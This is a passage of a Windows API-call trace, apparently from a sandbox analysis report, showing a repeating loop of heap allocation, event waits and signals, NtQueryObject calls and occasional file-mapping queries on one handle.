(nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.584] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.585] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.585] ResetEvent (hEvent=0xe8) returned 1 [0057.585] SetEvent (hEvent=0xec) returned 1 [0057.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.585] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.585] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.585] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.585] ResetEvent (hEvent=0xe8) returned 1 [0057.585] SetEvent (hEvent=0xec) returned 1 [0057.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.585] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.585] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.585] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.585] ResetEvent (hEvent=0xe8) returned 1 [0057.585] SetEvent (hEvent=0xec) returned 1 [0057.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.585] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.585] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.585] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.586] ResetEvent (hEvent=0xe8) returned 1 [0057.586] SetEvent (hEvent=0xec) returned 1 [0057.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.586] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.586] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.586] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.586] ResetEvent (hEvent=0xe8) returned 1 [0057.586] SetEvent (hEvent=0xec) returned 1 [0057.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.586] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.586] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.586] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.586] ResetEvent (hEvent=0xe8) returned 1 [0057.586] SetEvent (hEvent=0xec) returned 1 [0057.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.586] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.586] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.586] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.586] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.587] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.587] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.587] ResetEvent (hEvent=0xe8) returned 1 [0057.587] SetEvent (hEvent=0xec) returned 1 [0057.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.587] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.587] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.587] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.587] ResetEvent (hEvent=0xe8) returned 1 [0057.587] SetEvent (hEvent=0xec) returned 1 [0057.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.587] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.587] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.587] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.587] ResetEvent (hEvent=0xe8) returned 1 [0057.587] SetEvent (hEvent=0xec) returned 1 [0057.587] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.587] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.587] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.588] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.588] ResetEvent (hEvent=0xe8) returned 1 [0057.588] SetEvent (hEvent=0xec) returned 1 [0057.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.588] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.588] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.588] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.588] ResetEvent (hEvent=0xe8) returned 1 [0057.588] SetEvent (hEvent=0xec) returned 1 [0057.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.588] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.588] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.588] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.588] ResetEvent (hEvent=0xe8) returned 1 [0057.588] SetEvent (hEvent=0xec) returned 1 [0057.588] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.588] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.588] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.588] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.589] ResetEvent (hEvent=0xe8) returned 1 [0057.589] SetEvent (hEvent=0xec) returned 1 [0057.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.589] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.589] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.589] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.589] ResetEvent (hEvent=0xe8) returned 1 [0057.589] SetEvent (hEvent=0xec) returned 1 [0057.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.589] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.589] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.589] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.589] ResetEvent (hEvent=0xe8) returned 1 [0057.589] SetEvent (hEvent=0xec) returned 1 [0057.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.589] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.589] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.589] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.589] ResetEvent (hEvent=0xe8) returned 1 [0057.590] SetEvent (hEvent=0xec) returned 1 [0057.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.590] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.590] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.590] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.590] ResetEvent (hEvent=0xe8) returned 1 [0057.590] SetEvent (hEvent=0xec) returned 1 [0057.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.590] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.590] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.590] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.590] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.590] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.590] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.590] ResetEvent (hEvent=0xe8) returned 1 [0057.590] SetEvent (hEvent=0xec) returned 1 [0057.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.590] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.590] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.591] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.591] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.591] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.591] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.591] ResetEvent (hEvent=0xe8) returned 1 [0057.591] SetEvent (hEvent=0xec) returned 1 [0057.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.591] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.591] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.591] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.591] ResetEvent (hEvent=0xe8) returned 1 [0057.591] SetEvent (hEvent=0xec) returned 1 [0057.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.592] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.592] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.592] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.592] ResetEvent (hEvent=0xe8) returned 1 [0057.592] SetEvent (hEvent=0xec) returned 1 [0057.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.592] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.592] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.592] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.592] ResetEvent (hEvent=0xe8) returned 1 [0057.592] SetEvent (hEvent=0xec) returned 1 [0057.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.592] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.592] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.592] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.592] ResetEvent (hEvent=0xe8) returned 1 [0057.592] SetEvent (hEvent=0xec) returned 1 [0057.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.593] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.593] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.593] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.593] ResetEvent (hEvent=0xe8) returned 1 [0057.593] SetEvent (hEvent=0xec) returned 1 [0057.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.593] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.593] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.593] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.593] ResetEvent (hEvent=0xe8) returned 1 [0057.593] SetEvent (hEvent=0xec) returned 1 [0057.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.593] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.593] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.593] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.593] ResetEvent (hEvent=0xe8) returned 1 [0057.593] SetEvent (hEvent=0xec) returned 1 [0057.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.594] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.594] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.594] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.594] ResetEvent (hEvent=0xe8) returned 1 [0057.594] SetEvent (hEvent=0xec) returned 1 [0057.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.594] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.594] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.594] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.594] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.594] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.594] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.594] ResetEvent (hEvent=0xe8) returned 1 [0057.594] SetEvent (hEvent=0xec) returned 1 [0057.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.594] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.594] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.594] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.594] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.595] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.595] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.595] ResetEvent (hEvent=0xe8) returned 1 [0057.595] SetEvent (hEvent=0xec) returned 1 [0057.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.595] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.595] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.595] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.595] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.595] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.595] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.595] ResetEvent (hEvent=0xe8) returned 1 [0057.595] SetEvent (hEvent=0xec) returned 1 [0057.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.595] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.595] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.595] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.595] ResetEvent (hEvent=0xe8) returned 1 [0057.595] SetEvent (hEvent=0xec) returned 1 [0057.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.596] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.596] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.596] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.596] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.596] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.596] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.596] ResetEvent (hEvent=0xe8) returned 1 [0057.596] SetEvent (hEvent=0xec) returned 1 [0057.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.596] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.596] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.596] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.596] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.596] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.596] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.596] ResetEvent (hEvent=0xe8) returned 1 [0057.596] SetEvent (hEvent=0xec) returned 1 [0057.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.597] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.597] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.597] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.597] ResetEvent (hEvent=0xe8) returned 1 [0057.597] SetEvent (hEvent=0xec) returned 1 [0057.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.597] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.597] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.597] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.597] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.597] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.597] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.597] ResetEvent (hEvent=0xe8) returned 1 [0057.597] SetEvent (hEvent=0xec) returned 1 [0057.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.597] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, 